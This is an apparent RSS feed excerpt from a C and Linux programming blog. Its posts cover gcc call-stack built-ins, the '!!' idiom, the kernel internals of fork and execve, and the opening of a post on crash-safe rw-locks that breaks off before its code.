&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/xk91AlSZM68" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/xk91AlSZM68/event-handling-with-message-queue-on.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2010/03/event-handling-with-message-queue-on.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-2002242834294274206</guid><pubDate>Tue, 29 Sep 2009 20:04:00 +0000</pubDate><atom:updated>2009-09-29T23:04:30.439+03:00</atom:updated><title>c/c++: call stack v.2</title><description>In previous &lt;a href="http://stupefydeveloper.blogspot.com/2008/10/cc-call-stack.html"&gt;c/c++: call stack&lt;/a&gt; article I wrote about obtaining function call stack. The method described in the article is good enough but it is linux-specific. There's no similar solutions out-of-box in other *nix-like operation systems as far as I know.&lt;br /&gt;
This time I would like to discuss more generic way. At list it is available for the code compiled with &lt;b&gt;gcc&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;gcc&lt;/b&gt; provides two built-in functions which could be used to obtain function call stack: &lt;b&gt;__builtin_return_address&lt;/b&gt; and &lt;b&gt;__builtin_frame_address&lt;/b&gt;. With &lt;b&gt;__builtin_return_address&lt;/b&gt; it's possible to obtain return address of the current function, or of one of its callers. &lt;b&gt;__builtin_frame_address&lt;/b&gt; returns the address of the function frame.&lt;br /&gt;
&lt;br /&gt;
Both functions require constant argument - the number of frames to scan up.&lt;br /&gt;
&lt;br /&gt;
To store function call &lt;b&gt;struct call&lt;/b&gt; structure is used defined as following:&lt;pre&gt;struct call {
 const void *address;
 const char *function;
 const char *object;
};&lt;/pre&gt;&lt;br /&gt;
With &lt;b&gt;__builtin_frame_address&lt;/b&gt; it is checked if the top of the stack has been reached - in this case aforementioned built-in returns zero. In the loop the return value of this function is compared with zero and the loop is terminated if this expression in compare statement turns into true - the top of the call stack has been reached.&lt;br /&gt;
Finally &lt;b&gt;__builtin_return_address&lt;/b&gt; is used to get the return address of the function.&lt;br /&gt;
&lt;br /&gt;
The resulting function to get the backtrace looks like:&lt;pre&gt;#define _GNU_SOURCE
#include &amp;lt;dlfcn.h&amp;gt;

int backtrace(struct call trace[], int maxlen)
{
 Dl_info dlinfo;
 unsigned int i;

 for (i=0;i&amp;lt;maxlen;++i) {
  switch (i) {
   case 0:
    if(!__builtin_frame_address(0))
     return i;
    trace[i].address = __builtin_return_address(0);
    break;
   case 1:
    if(!__builtin_frame_address(1))
     return i;
    trace[i].address = __builtin_return_address(1);
    break;
   case 2:
    if(!__builtin_frame_address(2))
     return i;
    trace[i].address = __builtin_return_address(2);
    break;
 /* SNIP */
 /* .... */
 /* SNIP */
   case 63:
    if(!__builtin_frame_address(63))
     return i;
    trace[i].address = __builtin_return_address(63);
    break;
   default:
    return i;
  }

  if (dladdr(trace[i].address, &amp;dlinfo) != 0) {
   trace[i].function = dlinfo.dli_sname;
   trace[i].object = dlinfo.dli_fname;
  }
 }

 return i;
}&lt;/pre&gt;&lt;b&gt;backtrace&lt;/b&gt; routine fills &lt;b&gt;trace&lt;/b&gt; array with the call stack information and returns the depth of the function calls.&lt;br /&gt;
&lt;br /&gt;
Following small example shows &lt;b&gt;backtrace&lt;/b&gt; in action:&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;

#define CALLSTACK_MAXLEN 64

void f0()
{
 struct call trace[CALLSTACK_MAXLEN];
 int i;
 int depth;

 depth = backtrace(trace, CALLSTACK_MAXLEN);

 for (i=0;i&amp;lt;depth;++i)
  printf("%s: %s(%p)\n", trace[i].object, trace[i].function, trace[i].address);
}

void f1()
{
 f0();
}

void f2()
{
 f1();
}

void f3()
{
 f2();
}

void f4()
{
 f3();
}


int main(int argc, char **argv)
{
 f4();

 return 0;
}&lt;/pre&gt;Again the application should be compiled with &lt;b&gt;-rdynamic&lt;/b&gt; gcc flag needed for &lt;b&gt;dladdr&lt;/b&gt; function and linked with &lt;b&gt;dl&lt;/b&gt; library for the same purpose:&lt;pre class="output"&gt;gcc backtrace.c -o backtrace -ldl -rdynamic&lt;/pre&gt;After execution the program should provide the following output:&lt;pre class="output"&gt;./backtrace 
./backtrace: f0(0x804b11c)
./backtrace: f1(0x804b1ac)
./backtrace: f2(0x804b1b9)
./backtrace: f3(0x804b1c6)
./backtrace: f4(0x804b1d3)
./backtrace: main(0x804b1e0)
/lib/libc.so.6: __libc_start_main(0x6ff58a9e)&lt;/pre&gt;Though it's gcc-specific method this compiler is available for most platforms and operation systems and is used almost everywhere as a default one.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-2002242834294274206?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=0ivbR0YmnYo:7HAjs9OejEw:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=0ivbR0YmnYo:7HAjs9OejEw:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=0ivbR0YmnYo:7HAjs9OejEw:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=0ivbR0YmnYo:7HAjs9OejEw:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=0ivbR0YmnYo:7HAjs9OejEw:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=0ivbR0YmnYo:7HAjs9OejEw:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=0ivbR0YmnYo:7HAjs9OejEw:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=0ivbR0YmnYo:7HAjs9OejEw:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=0ivbR0YmnYo:7HAjs9OejEw:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/0ivbR0YmnYo" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/0ivbR0YmnYo/cc-call-stack-v2.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/09/cc-call-stack-v2.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-8153281823424334892</guid><pubDate>Mon, 21 Sep 2009 04:41:00 +0000</pubDate><atom:updated>2009-09-21T07:53:48.629+03:00</atom:updated><title>c: double exclamation</title><description>Linux kernel is full of fascinating code. Not all of it is good but it's possible to find something interesting.&lt;br /&gt;
While reading the kernel code I've seen a lot of conditional expressions that contain double exclamations. Something like:&lt;pre&gt;if (!!smth) {...}&lt;/pre&gt;I was curious what's the purpose of such expression.&lt;br /&gt;
And I've found that mostly this is used to make compiler happy and quite. Double exclamation or simply '!!' turns the expression value into binary representation: either '1' or '0'. Everything that could be treated as true results into '1' otherwise - '0'.&lt;br /&gt;
The simplest example to show it in action could be:&lt;pre&gt;int i;

for (i = 0; i &amp;lt; 5; i++)
    printf("%d: %d\n", i, !!i);&lt;/pre&gt;This will print to the output:&lt;pre&gt;0: 0
1: 1
2: 1
3: 1
4: 1&lt;/pre&gt;So, which compiler warnings this could help to suppress? That's very easy. Let's assume there's a function like following:&lt;pre&gt;int function(void)
{                                                                                                     void *ptr;
    /* Useful calculations */
    return ptr;
}&lt;/pre&gt;The compiler, at least gcc, will warn that return expression makes integer from pointer without a cast.  If function should return '1' on success and '0' on failure, double exclamation fits very well:&lt;pre&gt;int function(void)
{                                                                                                     void *ptr;
    /* Useful calculations */
    return !!ptr;
}&lt;/pre&gt;Besides this simple example the double exclamation expression has indeed wide range of application.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-8153281823424334892?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=6syRIQeSQ20:JFRM4MFDnzk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=6syRIQeSQ20:JFRM4MFDnzk:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=6syRIQeSQ20:JFRM4MFDnzk:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=6syRIQeSQ20:JFRM4MFDnzk:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=6syRIQeSQ20:JFRM4MFDnzk:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=6syRIQeSQ20:JFRM4MFDnzk:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=6syRIQeSQ20:JFRM4MFDnzk:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=6syRIQeSQ20:JFRM4MFDnzk:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=6syRIQeSQ20:JFRM4MFDnzk:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/6syRIQeSQ20" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/6syRIQeSQ20/c-double-exclamation.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>2</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/09/c-double-exclamation.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-3514087435660289907</guid><pubDate>Wed, 22 Jul 2009 04:46:00 +0000</pubDate><atom:updated>2009-07-22T07:49:13.878+03:00</atom:updated><title>linux: execution of the binary</title><description>In &lt;a href="http://stupefydeveloper.blogspot.com/2009/06/linux-creation-of-new-process.html"&gt;previous post&lt;/a&gt; I've touched internals of &lt;b&gt;fork&lt;/b&gt; system call in Linux kernel.&lt;br /&gt;
Here I want to make the picture complete with describing &lt;b&gt;execve&lt;/b&gt; system call.&lt;br /&gt;
&lt;b&gt;execve&lt;/b&gt; is a system call that substitutes current process image with new one constructed from the executable binary. Usually &lt;b&gt;execve&lt;/b&gt; supplements &lt;b&gt;fork&lt;/b&gt;: with &lt;b&gt;fork&lt;/b&gt; program creates new process and with &lt;b&gt;execve&lt;/b&gt; it loads new image. This allows former continue to run in parallel with new program. In other case there was no opportunity to run different binaries at one time.&lt;br /&gt;
When userspace program calls one of the exec family defined by POSIX:&lt;pre&gt;int execl(const char *path, const char *arg0, ... /*, (char *)0 */);
       int execv(const char *path, char *const argv[]);
       int execle(const char *path, const char *arg0, ... /*,
              (char *)0, char *const envp[]*/);
       int execve(const char *path, char *const argv[], char *const envp[]);
       int execlp(const char *file, const char *arg0, ... /*, (char *)0 */);
       int execvp(const char *file, char *const argv[]);&lt;/pre&gt;c library will finally execute &lt;b&gt;execve&lt;/b&gt; system call:&lt;pre&gt;int execve(const char *filename, char *const argv[], char *const envp[]);&lt;/pre&gt;&lt;b&gt;execve&lt;/b&gt; system call will result into calling &lt;b&gt;do_execve&lt;/b&gt; from fs/exec.c in the kernel mode.&lt;br /&gt;
At first &lt;b&gt;do_execve&lt;/b&gt; checks if it's safe to execute this binary - checks process credentials. If it's safe to run the program &lt;b&gt;do_execve&lt;/b&gt; opens the file and fills &lt;b&gt;linux_binprm&lt;/b&gt; structure. This structure holds enough information needed to execute binary:&lt;pre&gt;struct linux_binprm{
 ....
#ifdef CONFIG_MMU
 struct vm_area_struct *vma;
#else
# define MAX_ARG_PAGES 32
 struct page *page[MAX_ARG_PAGES];
#endif
 struct mm_struct *mm;
 unsigned long p;  /* current top of mem */
 ....
 struct file * file;
 struct cred *cred; /* new credentials */
 ....
 int argc, envc;
 char * filename; /* Name of binary as seen by procps */
 char * interp;  /* Name of the binary really executed. Most
       of the time same as filename, but could be
       different for binfmt_{misc,script} */
 ....
};&lt;/pre&gt;With &lt;b&gt;int bprm_mm_init(struct linux_binprm *bprm)&lt;/b&gt; help new &lt;b&gt;mm_struct&lt;/b&gt; is being initialized and, for example, for x86 arch new LTD(Local Descriptor Table) is being written. Architecture independent code allocates space for &lt;b&gt;struct vm_area_struct&lt;/b&gt; and fills fields with appropriate values - area for the stack, etc. Worth to note that &lt;b&gt;do_execve&lt;/b&gt; tries to migrate task to other processor on SMP system if balancing needed. &lt;b&gt;do_execve&lt;/b&gt; is a good place to do load balancing task - the task has smallest memory and cache footprint. &lt;br /&gt;
When &lt;b&gt;linux_binprm&lt;/b&gt; is filled with various values gathered from the current task and executable file metadata, &lt;b&gt;do_execve&lt;/b&gt; tries to find proper handler with &lt;b&gt;int search_binary_handler(struct linux_binprm *bprm, struct pt_regs *regs)&lt;/b&gt; which will finish setup of the new image. It iterates over all registered binary format handler until the suitable is found. In the loop &lt;b&gt;load_binary&lt;/b&gt; callback from linux binary format handler is used to probe the image. If this callback finds the image suitable for this format handler the outer loop will stop the iteration.&lt;br /&gt;
&lt;b&gt;load_binary&lt;/b&gt; is responsible not only for probing the image but also for loading it and setting up environment. It gets all needed information through the function arguments to do that.&lt;br /&gt;
&lt;b&gt;load_binary&lt;/b&gt; in binary format handler is responsible for loading(mapping) image into memory and all stuff needed for the normal program execution(relocation, etc.), setting up stack, bss and environment: put argv and envp arrays onto userspace stack. Finally it calls &lt;b&gt;start_thread&lt;/b&gt; which sets up process' registers with new values of stack pointer, program execution point, arguments for &lt;b&gt;main&lt;/b&gt; function of the executable  etc. Here how it looks for arm architecture:&lt;pre&gt;#define start_thread(regs,pc,sp)                                \
 ({                                                             \
  unsigned long *stack = (unsigned long *)sp;                   \
  set_fs(USER_DS);                                              \
  memset(regs-&gt;uregs, 0, sizeof(regs-&gt;uregs));                  \
  if (current-&gt;personality &amp; ADDR_LIMIT_32BIT)                  \
   regs-&gt;ARM_cpsr = USR_MODE;                                   \
   regs-&gt;ARM_cpsr = USR26_MODE;                                 \
  if (elf_hwcap &amp; HWCAP_THUMB &amp;&amp; pc &amp; 1)                        \
   regs-&gt;ARM_cpsr |= PSR_T_BIT;                                 \
  regs-&gt;ARM_cpsr |= PSR_ENDSTATE;                               \
  regs-&gt;ARM_pc = pc &amp; ~1;  /* pc */                             \
  regs-&gt;ARM_sp = sp;       /* sp */                             \
  regs-&gt;ARM_r2 = stack[2]; /* r2 (envp) */                      \
  regs-&gt;ARM_r1 = stack[1]; /* r1 (argv) */                      \
  regs-&gt;ARM_r0 = stack[0]; /* r0 (argc) */                      \
  nommu_start_thread(regs);                                     \
 })&lt;/pre&gt;In ARM architecture in assembly first four function parameters are being passed in registers r0-r3: argc, argv, envp pointers are written into r0, r1, r2 correspondingly.&lt;br /&gt;
Now current process is ready to run new program. Once the context switch is done for the process, usually by returning into the userland, new values of registers come into play and the code of new image is executing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-3514087435660289907?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=NuoyRrRaH78:wd5YQ0fdiGo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=NuoyRrRaH78:wd5YQ0fdiGo:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=NuoyRrRaH78:wd5YQ0fdiGo:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=NuoyRrRaH78:wd5YQ0fdiGo:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=NuoyRrRaH78:wd5YQ0fdiGo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=NuoyRrRaH78:wd5YQ0fdiGo:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=NuoyRrRaH78:wd5YQ0fdiGo:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=NuoyRrRaH78:wd5YQ0fdiGo:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=NuoyRrRaH78:wd5YQ0fdiGo:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/NuoyRrRaH78" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/NuoyRrRaH78/linux-execution-of-binary.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/07/linux-execution-of-binary.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-3903511809917502479</guid><pubDate>Mon, 15 Jun 2009 10:54:00 +0000</pubDate><atom:updated>2009-07-01T23:44:31.233+03:00</atom:updated><title>linux: creation of the new process</title><description>System developers know that you need &lt;b&gt;fork&lt;/b&gt; system call to start a new process and &lt;b&gt;execve&lt;/b&gt; system call to start a new program. While &lt;b&gt;fork&lt;/b&gt; creates a copy of the current process(actually not a complete copy - please refer to the man page of fork to get information what is being duplicated and currently COW is used to postpone the copying of the memory regions), &lt;b&gt;execve&lt;/b&gt; replaces current running process with a new executable binary.&lt;br /&gt;
&lt;br /&gt;
Here I'll try to describe how the new process is being created in the kernel.&lt;br /&gt;
&lt;br /&gt;
First of all the kernel has to handle a system call and switch from the userspace into the kernelspace. On different architectures this is done in different ways. On x86 it's most likely 0x80 software interrupt or swi instruction on ARM. The system call interface, SCI, demultiplexes the system call into the call of a routine in the kernel kingdom: gets the pointer of the routine in the syscall table.&lt;br /&gt;
&lt;b&gt;fork&lt;/b&gt; system call is multiplexed into &lt;b&gt;sys_fork&lt;/b&gt; kernel function. Its prototype is:&lt;pre&gt;int sys_fork(struct pt_regs *regs)&lt;/pre&gt;. This is a arch-dependent routine. &lt;b&gt;struct pt_regs&lt;/b&gt; is a set of CPU registers which are saved in the process' memory region. When userspace makes a system call CPU registers of current process are taken. Arch-dependent &lt;b&gt;sys_fork&lt;/b&gt; makes initial checks(for example it returns -EINVAL on ARM without MMU) and finally calls system-independent &lt;b&gt;do_fork&lt;/b&gt;:&lt;pre&gt;long do_fork(unsigned long clone_flags,
       unsigned long stack_start,
       struct pt_regs *regs,
       unsigned long stack_size,
       int __user *parent_tidptr,
       int __user *child_tidptr)&lt;/pre&gt;&lt;b&gt;clone_flags&lt;/b&gt; represent policy of what should be copied and what should be shared between the process that called &lt;b&gt;sys_fork&lt;/b&gt;(parent process) and newly created process(child process). &lt;b&gt;stack_start&lt;/b&gt; and &lt;b&gt;stack_size&lt;/b&gt; point to the start of the stack and its size respectively. These values are taken from the information obtained about the current process. &lt;b&gt;regs&lt;/b&gt; is a pointer to CPU registers of the current process. This structure represents the state of the CPU registers. For x86 it's defined as&lt;pre&gt;struct pt_regs {
 long ebx;
 long ecx;
 long edx;
 long esi;
 long edi;
 long ebp;
 long eax;
 int  xds;
 int  xes;
 int  xfs;
 long orig_eax;
 long eip;
 int  xcs;
 long eflags;
 long esp;
 int  xss;
};&lt;/pre&gt;and for ARM as&lt;pre&gt;struct pt_regs {
 long uregs[18];
};

#define ARM_cpsr uregs[16]
#define ARM_pc  uregs[15]
#define ARM_lr  uregs[14]
#define ARM_sp  uregs[13]
#define ARM_ip  uregs[12]
#define ARM_fp  uregs[11]
#define ARM_r10  uregs[10]
#define ARM_r9  uregs[9]
#define ARM_r8  uregs[8]
#define ARM_r7  uregs[7]
#define ARM_r6  uregs[6]
#define ARM_r5  uregs[5]
#define ARM_r4  uregs[4]
#define ARM_r3  uregs[3]
#define ARM_r2  uregs[2]
#define ARM_r1  uregs[1]
#define ARM_r0  uregs[0]
#define ARM_ORIG_r0 uregs[17]&lt;/pre&gt;&lt;b&gt;parent_tidptr&lt;/b&gt; and &lt;b&gt;child_tidptr&lt;/b&gt; are pointers which help userspace libraries to handle threads(NPTL respectively).&lt;br /&gt;
&lt;b&gt;do_fork&lt;/b&gt; again does some checks and calls &lt;b&gt;copy_process&lt;/b&gt; which is responsible for make a copy of the process. &lt;b&gt;copy_process&lt;/b&gt; again does some checks of supplied flags and does the copying of the process: &lt;br /&gt;
* duplicates task structure;&lt;br /&gt;
* allocates memory for kernel stack and puts instance of &lt;b&gt;struct thread_info&lt;/b&gt; on the bottom of the kernel stack which holds arch-specific information about the process;&lt;br /&gt;
* copies process information: fs, opened files, IPC, signal handling, mm, etc.;&lt;br /&gt;
* generates new PID and other IDs in respect of namespace information;&lt;br /&gt;
* does some further actions according to passed flags. &lt;br /&gt;
Interesting how memory copying is managed by &lt;b&gt;copy_process&lt;/b&gt;. mm structure described by &lt;b&gt;struct mm_struct&lt;/b&gt; is being copied by &lt;b&gt;copy_mm&lt;/b&gt; function. If CLONE_VM was supplied it doesn't copy the memory management information of the parent process but shares it with child and adjusts reference counter of the users of this mm. If no CLONE_VM was set &lt;b&gt;dup_mm&lt;/b&gt; is called. This function makes a copy of the mm struct but doesn't copy the contents of the memory pages - copy-on-write is used to make this process run faster and do not waste system memory. When either parent or child process attempts to write to the memory page page fault occurs and kernel recognizes that the page should be copied for each process and write operation could be later satisfied: the result of this operation would be visible only for initiator.&lt;br /&gt;
Another interesting function called by &lt;b&gt;copy_process&lt;/b&gt; is &lt;b&gt;copy_thread&lt;/b&gt;. This routine is architecture dependent and in general among other management tasks it copies CPU registers of current process to the new process and adjusts some of their values(stack pointer, etc.). Also it sets pc(for ARM)/ip(for x86) to &lt;b&gt;ret_from_fork&lt;/b&gt;. &lt;b&gt;ret_from_fork&lt;/b&gt; will be called next time the newly created process will be scheduled to run. This function does some cleanups and returns control to the userspace. Linux saves CPU registers in the top of the kernel stack of the process. This information helps kernel to do a context switch.&lt;br /&gt;
When the process is ready to run &lt;b&gt;do_fork&lt;/b&gt; calls &lt;b&gt;wake_up_new_task&lt;/b&gt;(or sets TASK_STOPPED if process is being traced) which informs process scheduler that task is ready.&lt;br /&gt;
At this point kernel returns execution point into the userland.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-3903511809917502479?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=jE5H6rc7kOc:nw4SpmBSk0g:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=jE5H6rc7kOc:nw4SpmBSk0g:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=jE5H6rc7kOc:nw4SpmBSk0g:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=jE5H6rc7kOc:nw4SpmBSk0g:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=jE5H6rc7kOc:nw4SpmBSk0g:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=jE5H6rc7kOc:nw4SpmBSk0g:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=jE5H6rc7kOc:nw4SpmBSk0g:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=jE5H6rc7kOc:nw4SpmBSk0g:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=jE5H6rc7kOc:nw4SpmBSk0g:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/jE5H6rc7kOc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/jE5H6rc7kOc/linux-creation-of-new-process.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/06/linux-creation-of-new-process.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-6455671689645526135</guid><pubDate>Tue, 05 May 2009 03:38:00 +0000</pubDate><atom:updated>2009-05-05T06:38:01.755+03:00</atom:updated><title>*nix: crash-safe rw-lock with semaphores</title><description>In previous post about rw-locks based on semaphores I've introduced rw-lock mechanism to limit readers.&lt;br /&gt;
This post introduces crash-safe implementation of rw-locks. The implemlementation doesn't take into account bad application design. It doesn't detect deadlocks however this is not hard to implement when you get the main idea.&lt;br /&gt;
The implementation tracks readers and writers and can detect whether reader/writer that currently blocks the queue is alive and tries to improve the whole situation.&lt;br /&gt;
The threads are not taken into account because if thread crashes due to some unpredicted reason most likely the process that created it will die too. If thread exits without releasing the lock this is not a crash - it's poor application design. Safiness of such behaviors is another topic I believe.&lt;br /&gt;
&lt;br /&gt;
In the real world you may get some situation when you want some safiness with locking the section and the code of this section might fail because of the outer world influence(unhandled signal, OOM-killer) and interior ifluence(the code of section might cause segfault).&lt;br /&gt;
&lt;br /&gt;
To behonest most of the time I don't believe the code I'm protecting and that the outer world is kind for me. The code might cause crash deeply inside the function calls and the OOM killer might chose the application as victim. &lt;br /&gt;
Knowing all these I want the whole application continue to run.&lt;br /&gt;
The implemetation of crash-safe rw-locks is listed below. Well, it's a bit linux-specific(in the mmap call) but this is just for simplicity. I didn't want to overload the code to make it cross-platform.&lt;br /&gt;
